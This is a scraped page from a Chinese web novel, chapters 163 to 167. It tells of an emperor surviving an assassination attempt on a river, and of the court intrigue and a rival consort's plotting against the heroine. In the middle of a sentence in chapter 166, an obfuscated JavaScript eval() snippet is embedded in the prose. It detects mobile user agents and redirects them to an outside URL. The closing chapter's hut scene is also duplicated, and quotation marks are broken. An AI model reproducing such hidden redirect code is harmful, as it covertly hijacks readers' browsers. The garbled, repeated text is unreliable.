“大人,都安排妥了。”宋元隔着车帘低声道,“沈小姐已到珍宝阁等您。” —— 祁蘅站在街角阴影处,看着珍宝阁暖黄的灯光透过雕花窗棂微微映射出来。 李识衍正俯身为一位女子试戴玉簪。 那女子侧脸在烛光中明明灭灭,恍惚间竟与记忆中的桑余有几分相似。 但不是她。 不是就是不是。 祁蘅眸中的光一点点淡下去,最后只剩下一点微弱的落魄。 季远安顺着他的目光望去,犹豫片刻,说:“陛下,我们这样窥探臣子家眷……不太好吧?” 祁蘅放下支摘窗,木格子“啪”地合上,截断了最后一缕街光。 “只是看看,我又不做什么。”他漫不经心地弹去袖口灰尘。 店小二恰在此时端着醉蟹上楼,青瓷盘里橙红的蟹壳泛着油光。 祁蘅突然叫住他,指了指下面:“那位是沈家小姐么?” 店小二顺着他的指向望去,笑出一口白牙:“是啊,的确是沈家小姐!” 祁蘅垂眼,沉默了些许,似乎是终于确定了一些事。 他松开了小二,自嘲的笑了笑。 笑自己的荒唐,笑自己的判断。 然后缓缓坐回桌前,坐了下来。 “明日启程回京。” 季远安夹菜的手悬在半空。 这是想通了? 机缘低头掩饰上扬的嘴角,庆幸祁蘅终于恢复了理智。 “那臣明日一早就去安排车驾。” 祁蘅哑然地坐着,指尖微微拂过那道烫伤,神色一点点变得木然死寂。 季远安的笑意凝固了一下。 在还没搞清楚沈星真面容前的这几天里,祁蘅好像活过来了。 终于不是日日沉浸在权谋深海之中,至少难得有了些从前的影子。 但现在尘埃落地,他又变回了在京城的模样。 心死麻木,对一切都不在乎。 仿佛活着挺好,死了也不错。 人果然,还是需要一个活下去的念头当浮木。 —— 上了马车,沈月看着怀里抱着的饰品珠宝,眼睛都在发光。 “刺史大人,这些当真都赠给我了?” 李识衍目光望着远处的阁楼,知晓祁蘅就在里头看着自己,眼底浮起一丝鄙夷,随即放下了帘子。 “嗯,还要多谢沈小姐陪我做戏。” 沈月挥了挥手:“嗐,以后都是一家人了,刺史大人不必客气,以后这样的戏多多找我!” 李识衍笑了笑,心里却只想……再也没有下次才好。 第二日,李识衍就收到了祁蘅要回京的消息。 柳青苑有些震惊:“还真走了?” 李识衍早有预料。 祁蘅解开了心中的疑云,自然就不会一直留在这儿。 眼下,终于可以好好准备大婚了。 在此之前,李识衍不希望再有事情发生打搅自己和阿星的婚事。 —— 柳凤凤收到哥哥的书信,终于松了口气。 “好了好了,我终于可以回家了,我书铺里的书都要发霉啦!” 一大早,桑余就看见柳凤凤开始收拾行从。 桑余猜到,一定是李识衍的麻烦解决了。 她走过去,趴在桌子前看柳凤凤碎碎念,说从来没有在一个地方待这么多天,连门都不出,她都快闷死了。 桑余浅浅地笑了:“凤凤,谢谢你。” 柳凤凤一怔,看向她,然后拉住她的手,说:“唉,你这个小苦包,可一定要顺顺利利的嫁了人我才放心。” 桑余点了点头,说:“会的,一定。” 前脚将柳凤凤送走,后脚,李识衍就来了。 桑余看他走过来,想回屋给他倒杯水。 只是转身还没走几步,忽然被李识衍从身后紧紧抱住。 他的身上带着微微凉爽的气息,将下巴抵在她肩窝处,呼吸沉重而绵长。 “累了?”桑余轻轻拍了拍他的手背。 李识衍闷闷地“嗯”了一声,声音里带着罕见的疲惫:“让我抱一会儿。” 这几日殚精竭虑,李识衍真的有些累了。 方寸庭院中,一时之间只剩他们彼此二人。 院角的花被风吹落,满院子都是,有两片正巧沾在桑余鬓边。 李识衍伸手拂去,指尖在她耳垂流连:“阿星,你母亲选婚期选的如何了?” “下个月十六。”桑余说道,“是个好日子。” “好,那就下个月十六。”他低头,揉捏着桑余的手指,拂过手腕处的疤痕,不知在想什么,“明日我带你去挑婚服。” 他只要看见这些伤疤就会陷入沉默,桑余知道,他又在心疼了。 她抽回手,把伤藏起来,捧着他的脸说道:“怎么就盯着我这些伤疤看啊?是我的脸不好看?” 李识衍看着桑余的眼睛,眼里都是不加掩饰的心疼和珍惜,他点头,说:“哪里都好看。” 桑余笑了笑,仰头,仔仔细细地看着他的眉眼。 从前,她深深地以为自己不会再爱上任何人了。 但李识衍的出现,让桑余知了什么是命中注定。 从长安街上的惊魂一瞥,到她一眼看中他的诗;从青梅竹马,到如今彼此心系,都是命中注定。 虽然来的晚了一些,但这才是她的缘分。 —— 祁蘅站在船头,望着江南的灯火在夜色中渐渐远去。 河风带着潮湿的水汽拂过他的面庞。 不知道为什么,他隐隐觉得心中有什么失落的感觉越来越强烈。 好像不该走。 可他也知道,没什么必要再留在这里。 祁蘅收回目光,准备回船舱。 忽然,他看见远处甲板上坐着两个船工打扮的人,正若有若无的盯着自己。 看见祁蘅投射过来的目光,两人急忙低下头,转身离开。 祁蘅眯起眼睛,借着月光看向船舷两侧。 本该有侍卫值守的位置,此刻空无一人。 湖面上飘来淡淡的血腥味,混在潮湿的水汽里,几乎难以察觉。 他与季远安对视一眼,果然,季远安也察觉了。 祁蘅凉凉地笑了:“冯崇倒是心急啊。” 第164章 祁蘅遇刺 季远安从甲板上跳下来,靠近祁蘅低声问:“会是李识衍的人么?” “他若是真想要我们的命,大可等出了江南。” 祁蘅看了一眼江面,漆黑一片,像一望无际的深渊,正安静地张开嘴等着他们跳下去。 祁蘅说:“若是我们现在一跃而下,还有机会活么?” 季远安挑了挑眉,明白了祁蘅的意思。 身后那帮人愈渐靠近。 季远安戏谑地笑了笑,回头,朝着他们走去。 那些人起初并不知道自己已经被发现了,只奔着祁蘅而去。 以至于他们也没有看见季远安手中的匕首。 利刃在月光下划出一道冷冽的银光。 那名刺客甚至来不及发出声音,喉咙便喷出一道血线,踉跄着栽倒在甲板上。 一帮刺客见势也不再伪装,纷纷掏出武器扑了上来,两方立刻缠斗在一起。 祁蘅站在船头,冷静地看着。 刺客如潮水般从船舱涌出,至少有二十余人。 祁蘅喝道:“远安,人太多了!” 季远安闻言立刻后撤,却见一支弩箭擦着他的鬓角飞过,深深钉入甲板。 更多的弩箭从暗处射来,两人不得不退到船舷边。 季远安背靠着祁蘅,匕首横在胸前,笑道:“看来冯崇是铁了心要我们的命,这又是刺客又是暗器的。” 祁蘅冷笑一声,回头望了一眼江面,还有渐行渐远的岸边,马上快来不及了。 “远安,跳!” 季远安头也不回,抓住了祁蘅的衣服:“那陛下可要抓稳了,回京定要给我封个爵位。” 祁蘅看他,忍不住鄙夷:“若是活着,你想要什么朕都给。” “陛下可要说话算话!” 水面“哗啦”一声裂开,祁蘅与季远安的身影瞬间被漆黑的江水吞没。 刺客们冲到船舷边,火把的光在江面上投下摇晃的暗影,却只看到几圈扩散的涟漪。 “搜!”为首的刺客一把扯下蒙面黑巾,露出刀疤纵横的脸,“上头有令,活要见人死要见尸!” 数十名黑衣人立刻分成两路,一路沿船舷放下小舟,另一路直接跃入江中。 月光下,水面被搅碎成千万片银鳞。 水下三尺,祁蘅屏住呼吸,冰冷的江水如千万根钢针刺入肌肤。 他感觉到周围有一阵一阵的血腥味,可不是他的血,是季远安。 方才跳船时,一支弩箭射穿了季远安的右肩。 水流湍急,两人被冲得不断下沉。 很快,头顶传来“咚咚”的入水声,刺客们发现了他们,不要命一般扑入江中。 冰冷的江水灌入鼻腔,祁蘅的肺部像被火烧般疼痛。 一支弩箭从头顶射入水中,擦着他的脸颊划过,带出一线血丝。 往岸边游,那是唯一的生路! 可他水性实在太差,季远安又受了伤,两个人很是艰难。 意识开始模糊时,他竟想起了桑余。 若是今日自己死在这江中,她可会有一星半点的难过? 难道这一生,真的再也见不到她了? 这个念头让他心头一刺。 他猛地清醒过来,用尽全力向岸边方向游去, 直到水流将他们冲入一条支流, 速度减缓了些。 祁蘅的指尖触到了浅滩的泥沙,他用最后一丝力气将已经无力的季远安推上浅滩。 还没来得及站稳,自己就被回流的江水再次卷走。 “陛……”季远安虚弱地伸出手,却只抓到一把泥沙。 他挣扎着想站起来,却因失血过多再次倒下。 最后的意识里,他看到祁蘅的身影被黑暗的江水吞没。 —— “大人!出事了!” 宋元急匆匆闯入书房时,李识衍正在批阅公文。 “皇上的船沉在了青江上,周围发现十几具尸体,都是刺客!” 李识衍没想到,冯崇会这么迫不及待在江南就公然行刺。 “可找到圣驾?” “没有。” 李识衍冷笑一声:“好一招借刀杀人啊,这么多年还在用这个手段。” 他太了解冯崇的把戏了,在江南地界刺杀皇帝,无论成与不成,都能把祸水引到自己头上。 “活要见人,死要见尸。”李识衍转身,眼底寒光凛冽,“派我们的人沿江搜索,一定要赶在冯崇之前找到皇上。” 宋元领命而去。 李识衍独自站在窗前。 若祁蘅真的死了,朝堂必将大乱;若侥幸活着…… 他并不希望祁蘅现在死。 如果这个唯一能洗清父亲当年冤屈的存在如果真的没了,那平反之事将会彻底失去希望。 看来冯崇这一手,不仅是要除掉祁蘅,更是要借机清洗江南势力。 李识衍嗤笑一声。 “可是冯崇,今时不同往日,你这些把戏放到现在,太愚蠢了。” —— 李识衍又忙了起来,便只有柳凤凤陪着桑余置办大婚要用的东西。 晨光洒在青石板路上,街市刚刚开张。 桑余挽着柳凤凤的手臂,走过一个个挂着彩绸的摊位。 柳凤凤虽没成过亲,但比桑余懂得还多,还说要买些花生桂圆什么的,成婚时铺在床上,可保早生贵子。 桑余知道她又是从哪个话本子里学出来的。 “这些事自有媒人婆子去安顿,你今日就当好好地陪陪我,陪我买些成婚后要用的东西。” “买簪子吧?”柳凤凤突然在一个首饰摊前驻足,拿起一支金丝缠枝钗,“这支好看,你婚后戴着正合适。” 桑余接过细看,金钗顶端是两朵并蒂莲花,花蕊处嵌着小小的珍珠。 “姑娘好眼力。”摊主是个慈眉善目的老妇人,“这并蒂莲啊,寓意夫妻同心,百年好合。” 柳凤凤挤眉弄眼地用手肘碰了碰桑余:“听见没?百年好合呢!” 桑余低头浅笑,正要掏钱袋,忽听身后茶摊上有人高谈阔论:“听说没?青江口沉了艘大船,死了不少人!” “嘘——小点声!据说是从……”声音突然压低,桑余只隐约捕捉到“京城”二字。 柳凤凤顺着声音看去,也压低声音:“听说早城门戒严,估计就是因为这事。” 桑余指尖无意识地收紧,觉得后背微凉。 她把簪子买下,随即抓住凤凤的手说:“我总觉得心中不安,还是快点回府吧?” 第165章 陆晚宁也来江南了 京城。 冯崇府邸。 烛火摇曳,映照出陆晚宁精致的妆容上一闪而过的慌乱。 “义父,您是说……陛下真的……”她攥紧了手中的绢帕,指节发白。 冯崇慢条斯理地抿了口茶,眼角皱纹里都藏着算计:“慌什么?不过是龙船沉了,又没说人一定死了。” 陆晚宁咬了咬下唇。 她当然不是担心祁蘅的安危。 这些年他将她搁置后宫,挂了个贵妃的名头却从未临幸过一次,宫中的那些贱人都将她当做谈资,她当初对祁蘅的爱意早就被磨灭得一干二净。 不仅是不爱了,甚至还带着不甘和恨意,怨恨他对自己的冷落。 但若他真死了,自己这贵妃之位…… “女儿只是担心,若陛下有个三长两短,朝中那些老顽固……” “所以你要立刻动身去江南。” 冯崇放下茶盏,瓷底与檀木桌相碰,发出清脆的声响,“不管如何,做足姿态,就没人敢动你的贵妃之位。” 陆晚宁眼中闪过一丝恍然。 她明白了冯崇地打算。 若祁蘅活着,她是情深义重的贵妃;若死了,冯崇也能在京城第一时间掌控局面。 她垂下眼帘,答道:“女儿这就动身” 但陆晚宁有一点想不明白。 会是谁动手刺杀? 知道祁蘅南下的人并不多。 陆晚宁站在祁蘅身后,偷偷抬眼看向他,随即心中闪过一个恐怖的念头。 陆晚宁的指甲猛地掐入掌心。 莫非是……冯崇要杀祁蘅? 陆晚宁不由浑身发冷,不敢再多看一眼。 —— 回宫,马车上。 陆晚宁坐在车厢角落,窗外电闪雷鸣,雨点砸在车顶,吵得人心烦。 这些年,她以为自己和哥哥是在利用冯家的权势,殊不知... "可原来我才是被利用的那个。"她无声呢喃,觉得可笑。 雨幕中,皇城的轮廓渐渐清晰。 陆晚宁深吸一口气,强迫自己恢复理智。 若祁蘅真的死了,冯崇下一个要除掉的,恐怕就是她这个“义女”了。 说不定……当初,自己的哥哥也是他杀的。 一想到这里,陆晚宁就觉得恨意爬上骨脊。 红菱询问:“娘娘真要南下?” “是。” 至少现在,不能让冯崇对自己失去耐心,不然她只会死的更早。 但她一定要找到祁蘅。 否则,这场弑君最后的罪人,很可能就是自己。 他设计让自己南下,一定就是要让全天下都知道祁蘅生死不明,搅乱朝堂。 那她偏不能让他如愿。 陆晚宁可从不止是个甘愿被他人操控的棋子。 —— 江南,沈府。 窗外传来急促的马蹄声,桑余撩开纱帘,看见一队官兵疾驰而过。 “这已经是今日第三批了。”柳凤凤趴在窗边,压低声音,“听说连水师都出动了,在青江下游打捞什么……” 桑余深思,看来这次出事的,是京城来的大人物。 是祁蘅么? 应该不会,他若是来,恐怕整个江南都会人尽皆知。 “桑姐姐?”柳凤凤疑惑地转头。 “没什么。”桑余勉强笑了笑,“天凉了,我们快回去吧。” 她话未说完,对面传来一阵骚动。 两人掀开帘子望去,只见迎面而来一辆黑漆描金的四驾马车。 车前挂着鎏金铃铛,随着行进发出清脆声响,车帘用的是北地特产的云纹锦。 “这不是江南的样式。”桑余轻声道,手指无意识地攥紧了衣角。 这种规制,至少是京城二品大员家眷才能用的... 两车交错时,一阵风吹起了对面马车的帘角。 陆晚宁正掀开帘子张望,正巧瞥见那半张瓷白的侧脸——杏眼樱唇,皮肤极白,眼中带着淡淡的冷意。 “桑余?!” 她猛地探身,帘子却已落下。 那顶青幔小轿很快走远。 陆晚宁死死盯着巷口,胸口剧烈起伏。 那是桑余么? 陆晚宁觉得见鬼了。 但,但不可能……那个卑贱的孤女怎么可能出现在江南?还坐着那样精致的轿子? 但是,那个贱人本来就长得勾人。 一脸清心寡欲,装的云淡风轻却惹得祁蘅这么多年都放不下。 万一,她又重新攀附上了江南的权贵呢? 陆晚宁的指尖在手背上掐出几道白痕,她盯着那顶远去的轿子,眼中浮现冷光。 “红菱。”陆晚宁低声道:“去给本宫查清楚,那轿子里坐的是谁。” 红菱刚要应声,却见主子突然转身,染着蔻丹的指甲狠狠扣住她的手腕:“记住,若真是那个贱人——” 陆晚宁凑近她耳边,吐息如冰,“先不要打草惊蛇,我要让她身败名裂,跪着求我别杀她,明白么?” 红菱笑了笑,点头应下。 —— 府衙。 柳青苑急得额头冒汗:“这么多天,水师搜遍青江下游都没找到陛下,这要是……” 李识衍只是听着,垂眸,思虑。 找不到? 两具尸体,难不成还能凭空消失? 下一瞬,李识衍忽然皱起眉头。 然后,笑出了声。 柳青苑瞪大眼睛看着李识衍突然露出的笑容,那笑意来得莫名其妙,让他后背一阵发凉。 “李识衍,你……笑什么?”柳青苑声音都变了调,“就算他和你抢女人,可那也是皇帝,人要是真死了江南脱不了干系,你还笑得出来?” 李识衍的笑意更深了,他慢条斯理地转着手中的茶盏,青瓷在烛光下泛着冷光:“青苑,你见过猫捉老鼠吗?” 柳青苑一愣:“什么?” “猫抓到老鼠后,总喜欢玩上一阵。”李识衍突然将茶盏重重扣在案几上,发出清脆的声响,“你以为陛下是那只老鼠?” 柳青苑摇头:“我没听懂。” 李识衍站起身,负手踱到窗前,越想越觉得有趣:“错了。”他轻声道,声音里带着几分戏谑,“冯崇才是。” 他修长的手指轻叩窗柩,缓缓道:“他死不了,这会儿,一定就在苏州城哪个地方等着看戏。” 话音落下,门外忽然进来一个女子。 李识衍回头看去,方才的玩味尽数消散。 “她也来江南了?” 第166章 陆晚宁死定了 柳青苑顺着李识衍的目光看过去,是个唇红齿白的小姑娘,长得不算出挑,却是透着股和李识衍一模一样的森凉劲儿。 简直就是他手底下带出来的人。 他问李识衍:“什么意思?谁来了?” 李识衍微微向后倚靠,神色轻视:“陆晚宁,当朝唯一的贵妃娘娘。” 倒是自己送上门来了。 柳青苑这才认出,这个小姑娘以前是跟着李识衍的,叫……红菱! 红菱就是李识衍安插在陆晚宁身边的眼线。 她能出现在这里,李识衍就知道,陆晚宁也来了。 柳青苑顺势坐了下来,感叹道:“看来咱们得圣上和这位贵妃还真是情深义重啊?” 但柳青苑转念一想,不由皱起了眉:“只是来的人越来越多,咱们这儿是不是有些太热闹了?” 热闹,可不是什么好事儿。 李识衍垂眸,问红菱:“陆晚宁有什么动静?” 红菱说:“回公子,陆晚宁遇见了桑余,派属下去查。” 李识衍没想到,躲过了祁蘅,没躲过陆晚宁。 但藏下去,的确不是长久之计。 李识衍直起身子,轻饮可一口茶:“告诉她,那就是桑余,看她想做什么。” 柳青苑一开始没听明白,泄露桑余行踪,这不是之前所做的一切都前功尽弃了么? 柳青苑合起扇子,问:“可若是这陆晚宁对嫂嫂想动手怎么办?” 李识衍眼角微冷,温声道:“她近不了阿星的身。” 柳青苑这才反应过来,自己的担心是多余的。 这里可是江南,这位可是李识衍,这普天之下,莫非天子,谁能在他手下动手? 有那个命,也没那个胆子。 李识衍停顿一会儿,不疾不徐地开口:“冯崇既然派她来江南了,就说明这枚棋子对他不重要了。我能杀了他那讨人嫌的兄长,自然也能让她生不如死。” 柳青苑听着这话,看过去,不由打了个寒颤,随即明白了李识衍的打算。 他认识李识衍多年,外人只道这位刺史大人心系民情,温润如玉,是谦谦君子。 可只有他知道——李识衍骨子里比谁都狠,偏狭记仇,睚眦必报。 当年李识衍的母亲,那位赫赫有名、手段凌厉的纪夫人,曾让整个江湖都噤若寒蝉。 只是后来为了想要过安稳日子的夫君,甘愿洗手做羹,做一个普通女子。 后来李俊臣遭人陷害,毁了清誉,自戕而亡。 纪娘子可是险些杀到冯府屠了满门。 只是怕连累了年幼的李识衍才忍了下来,决定隐忍等待,更是一手创建了摘星楼。 但李识衍,比纪娘子更甚。 柳青苑至今记得,那年,有个富商仗着背后的靠山是冯崇,当众羞辱纪娘子,要拆摘星楼的台。 纪娘子只能忍,怕会引得冯崇注意。 但只有十五岁的李识衍当时只是微微一笑,甚至亲自给那人斟了杯酒。 可三个月后,那富商家破人亡,产业被蚕食殆尽,最后被人发现吊死在自家祠堂里,舌头都被割了。 官府查了半年,愣是没查出半点蛛丝马迹。 因为李识衍从不亲自动手。 他只会笑着看你一步步走进死局,再亲手递上最后一根绞索。 明明现在他其实完全可以把桑余继续藏下去,既不招惹陆晚宁,也能省下好多麻烦。 可李识衍偏偏要引着陆晚宁把主意打到桑余头上。 他就是知道陆晚宁不会放过桑余,就是想看着陆晚宁亲自跳进来。 柳青苑忍不住打了个寒颤。 ——陆晚宁这次是。 “识衍……柳青苑犹豫着开口,“陆晚宁毕竟是贵妃,若真动了她,圣上会不会…… 李识衍抬眸看他,唇角微扬,眼底却一片森寒。 “谁说我要动她? 他慢条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869777|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯理地整理了一下衣袖,站了起来,语气轻缓,却让人寒意砭骨。 “我要让她自己……生不如死。 “用她曾经高高在上时,对桑余的那些小伎俩,还到她自己身上。 “让她自己折磨自己,等到祁蘅耐心耗尽,亲**她的那天。 红菱浅笑,明白的退下了。 李识衍站起身,走到窗前。 窗外雨丝如织,将江南的黛瓦白墙晕染成一幅水墨画。 只是……有点想桑余了。 —— 陆晚宁站在客栈窗前,指尖几乎要掐破手掌。 红菱刚刚带回来的消息让她胸口翻涌着难以抑制的怒火。 “果然是她!” 陆晚宁的声音像是从牙缝里挤出来的,“那个**害**我哥哥,居然还能心安理得地躲在江南这么多年?!” 红菱垂首而立,不动声色地观察着她,轻声问:“那娘娘打算如何处置?” 陆晚宁突然转身,眼底扭曲:“去查清楚,她现在住在哪里,与什么人往来,平日里都做些什么。” 她冷笑一声,“我要知道这五年,她是如何苟且偷生的。” 红菱领命退下,在关门的一瞬间,她听见屋内传来瓷器碎裂的声音。 陆晚宁将茶盏狠狠砸向墙壁,碎片四溅。 她胸口剧烈起伏,眼前浮现出五年前桑余那张脸。 “难怪陛下会突然悄无声息的南下,原来是因为你出现了!” 她喃喃自语,“可你既然离开了,又为什么要出现,为什么又要抢走他?桑余,你为什么没有死!?” 陆晚宁的面容逐渐扭曲,生冷。 在她的想法里,祁蘅是因为桑余出事,陆淮安是因为桑余而死,她的孩子也是因为桑余! 她生命中所有的不甘和委屈,都是因为桑余。 所以,她这一次,一定要杀了桑余。 然后,彻底断了祁蘅的念想! 第167章 扎祁蘅的心 苏州城外,青江下游。 一座简陋的渔家小院坐落在芦苇荡旁,屋顶铺着茅草,被雨水浸得发黑。 季远安躺在屋内的小床上,面色苍白,额角渗出冷汗,伤口虽已包扎,却仍因高热而昏迷不醒。 屋外,一个人坐在木墩上,手里握着一把锈迹斑斑的柴刀,脚边堆着劈好的木柴。 他穿着粗布麻衣,袖口磨得发毛,可还是盖不住那矜贵冷落的脸。 老渔夫从屋里走出来,手里端着半碗黑乎乎的药汤,瞥了眼他,哼了一声:“让你劈柴,你就真只劈柴?柴火堆在那儿,灶里的火都快灭了,也不知道添一把?” 那人抬起脸,皱了皱眉,是祁蘅。 他显然还不习惯被人使唤,却还是起身,沉默地往灶膛里塞了几根柴。 老渔夫把药碗递给他:“喏,给你那兄弟喝下去。” 祁蘅接过,转身进屋,扶起季远安,捏着他的下巴把药灌了进去。 老渔夫倚在门框上,看着祁蘅的动作,忽然笑了:“你这人,看着就不是干粗活的料,可照顾起人来,倒是尽心尽力。” 祁蘅没说话,只是把空碗放到一旁,又坐回木墩上,继续干活。 老渔夫还是有些看不过去,从怀里掏出半块烧饼,丢给他:“吃吧,看你一整天没吃东西了。” 祁蘅接过,盯着那粗糙的饼面,眉头微蹙。 那烧饼又硬又干,边缘已经有些发霉。 他抬头看向老渔夫:“就吃这个?” “怎么?嫌不好?”老渔夫在他身边坐下,掏出烟袋点上,“我早看出你不是一般人,可你要知道,老百姓活下去靠的都是这些。” 祁蘅沉默片刻,低头咬了一口烧饼。粗糙的口感让他喉咙发紧,却还是硬生生咽了下去。 “你这个样子矫情乖张,家里夫人可受得了?”老渔夫吐出一口烟,眯着眼睛问道。 祁蘅的手指微微收紧,烧饼在他掌中变形。 他摇了摇头,自嘲的笑了笑:“您还真说对了。我把她惹生气了,她走了很久,我都没有找到她。” 老渔夫惊讶地睁大了眼睛:“大户人家的媳妇也会跑?那你得做了多过分的事啊?” 江风夹杂着细雨吹来,又冷了几分 。 这里的天就是古怪,上一刻还烈日灼心,下一刻就细雨飘飘。 祁蘅的眼前浮现出桑余最后看他的眼神——那种绝望中带着决绝的目光,像一把刀,每每想起都让他心口绞痛。 “我不知道她去了哪里。祁蘅的声音低沉,“她已经走了三年。 “三年啊,老渔夫咂了咂嘴,“难说,恐怕和别人孩子都生了。 “不可能!祁蘅猛地抬头,眼中闪过一丝暴戾,“她只爱我,这辈子都不可能爱上别人!我们是一起长大的! 老渔夫摇了摇头,烟袋在雨中明明灭灭:“再是青梅竹马,她若是心里真的还有你,又怎么会消失三年? 祁蘅的拳头握得咯咯作响,雨水顺着他的发梢滴落,混着眼角的湿意一起滑下。 他想起桑余为他挡下的那一箭。 想起她跪在雪地里求他放过沈康的场景。 想起……曾经自己一次次将她推开时的冷漠。 “她是个很好的女子,祁蘅的声音沙哑,“前半生一直护着我,帮我得到想要得到的一切。但我总觉得她配不上我,所以冷落她,欺负她……等我意识到的时候,她已经生气了。只是这次,气得……太深了,躲起来了。 老渔夫摇了摇头,觉得他还是没看明白,太天真了。 女人啊,若是真被伤了心,你就别再想让她心里有你了。 天下那么多好男儿,人家做什么非要栓死在一棵树上? 但老渔夫犹豫了一下,还是决定给祁蘅留些面子,没再说了,卷起烟袋子去打鱼了。 夜深了,雨势渐大,敲打在茅草屋顶上发出沙沙声响。 祁蘅坐在屋内唯一一张木凳上,借着油灯微弱的光亮,观察季远安的伤势。 “陛下……季远安终于缓缓醒来,浑身无力,额头滚烫,“我们还活着? 祁蘅拧干湿布,敷在他额头上,声音低沉:“活着呢,你不还等着我给你赐爵位么? 老渔夫推门进来,手里端着一碗鱼汤:“喝点热的吧,这天气,伤口容易化脓。 祁蘅接过碗,鱼汤腥味浓重,上面飘着几片不知名的野菜。 他犹豫片刻,还是仰头一饮而尽。温热的液体滑过喉咙。 忽然有那么一瞬,他竟觉得这东西比宫里的珍馐还让他感到踏实。 “你这兄弟,伤得不轻啊。老渔夫蹲在灶边添柴,“我再问你一遍,怎么伤的? 祁蘅眼神一暗,还是那样说:“遇上了仇家。 “呵,看你们这模样,仇家来头不小吧?老渔夫意味深长地看了他一眼,“这几日,村子里官兵来了好几波,还有各种外地来的,都是找你们的吧? 祁蘅不答,只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上,勾勒出一道锋利的阴影。 “你瞒我也没用,我一早就猜出来了,毕竟,老头子我活了大半辈子,还没见过哪个寻常人家能养出你这样的气度。 季远安倒觉得这老汉有些意思。 “多谢相救…… 老渔夫摆了摆手,又拍了拍胸脯,老态龙钟的眼睛透出笑意:“捞鱼也是捞,顺手捞两个人,不在话下! 老渔夫起身,拍了拍身上的灰,“我去睡了,你们也早点休息。记住,灶上温着水,夜里你兄弟发热了,就给他擦擦身子。 待老渔夫离开,季远安撑着坐起身来。 他靠在茅草屋的土墙边,脸色仍有些苍白,但眼神已恢复了往日的锐利。 “陛下,我们得尽快回去。季远安压低声音,尽管屋内只有他们二人,“朝中不可一日无君,更何况陆冯**…… 祁蘅坐在一边,手里握着一根细长的芦苇杆,正漫不经心地在地上划着什么图案。 “不急。祁蘅的声音出奇地平静,“让他们先斗一斗。 季远安愣住了,他从未听过祁蘅说这样的话。 在他的印象中,陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……季远安急得额角渗出细汗,“冯崇若趁您不在…… 祁蘅折断手中的芦苇杆,随手丢进灶膛。 火苗窜高了一瞬,映照出他深邃的眉眼。 “季远安,他突然问道,“你记得我们离宫多久了吗? 季远安一怔:“三十三日。 “三十三天……祁蘅望向窗外波光粼粼的江面,“这三十三天里,没有早朝,没有奏折,没有那些没完没了的宫宴和勾心斗角…… 他顿了顿,“你不觉得,比宫中这二十三年都要意思么? 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年,深知祁蘅对权位的掌控欲,只要他活着,皇权社稷就在第一位。 但此刻祁蘅的语气中,竟带着一丝他从未听过的……轻松? 屋外雨声渐急,两个人都沉默着,一言不发。 季远安叹了口气,悠哉悠哉的躺了回去。 “陛下不着急,那微臣也不急了。 祁蘅忽然想到了什么,说:“你说,出了这么大的事,李识衍的大婚还能继续么? 季远安又睁开眼:“你不会还没死心吧? 祁蘅看向他:“是,我总觉得,李识衍在瞒着我什么。明天,我亲自去苏州城看一看。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 忽然有那么一瞬,他竟觉得这东西比宫里的珍馐还让他感到踏实。 “你这兄弟,伤得不轻啊。”老渔夫蹲在灶边添柴,“我再问你一遍,怎么伤的?” 祁蘅眼神一暗,还是那样说:“遇上了仇家。” “呵,看你们这模样,仇家来头不小吧?”老渔夫意味深长地看了他一眼,“这几日,村子里官兵来了好几波,还有各种外地来的,都是找你们的吧?” 祁蘅不答,只是盯着跳动的火焰出神。 火光映在他轮廓分明的脸上,勾勒出一道锋利的阴影。 “你瞒我也没用,我一早就猜出来了,毕竟,老头子我活了大半辈子,还没见过哪个寻常人家能养出你这样的气度。” 季远安倒觉得这老汉有些意思。 “多谢相救……” 老渔夫摆了摆手,又拍了拍胸脯,老态龙钟的眼睛透出笑意:“捞鱼也是捞,顺手捞两个人,不在话下!” 老渔夫起身,拍了拍身上的灰,“我去睡了,你们也早点休息。记住,灶上温着水,夜里你兄弟发热了,就给他擦擦身子。” 待老渔夫离开,季远安撑着坐起身来。 他靠在茅草屋的土墙边,脸色仍有些苍白,但眼神已恢复了往日的锐利。 “陛下,我们得尽快回去。”季远安压低声音,尽管屋内只有他们二人,“朝中不可一日无君,更何况陆冯**……” 祁蘅坐在一边,手里握着一根细长的芦苇杆,正漫不经心地在地上划着什么图案。 “不急。”祁蘅的声音出奇地平静,“让他们先斗一斗。” 季远安愣住了,他从未听过祁蘅说这样的话。 在他的印象中,陛下永远是那个掌控一切、不容任何人挑战权威的帝王。 “可是……”季远安急得额角渗出细汗,“冯崇若趁您不在……” 祁蘅折断手中的芦苇杆,随手丢进灶膛。 火苗窜高了一瞬,映照出他深邃的眉眼。 “季远安,”他突然问道,“你记得我们离宫多久了吗?” 季远安一怔:“三十三日。” “三十三天……”祁蘅望向窗外波光粼粼的江面,“这三十三天里,没有早朝,没有奏折,没有那些没完没了的宫宴和勾心斗角……” 他顿了顿,“你不觉得,比宫中这二十三年都要意思么?” 难怪阿余出了宫以后就不想回去了。 祁蘅竟然有些厌烦虚妄的帝王生活了。 季远安语塞。 他跟随祁蘅多年,深知祁蘅对权位的掌控欲,只要他活着,皇权社稷就在第一位。 但此刻祁蘅的语气中,竟带着一丝他从未听过的……轻松? 屋外雨声渐急,两个人都沉默着,一言不发。 季远安叹了口气,悠哉悠哉的躺了回去。 “陛下不着急,那微臣也不急了。” 祁蘅忽然想到了什么,说:“你说,出了这么大的事,李识衍的大婚还能继续么?” 季远安又睁开眼:“你不会还没死心吧?” 祁蘅看向他:“是,我总觉得,李识衍在瞒着我什么。明天,我亲自去苏州城看一看。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 忽然有那么一瞬,他竟觉得这东西比宫里的珍馐还让他感到踏实。 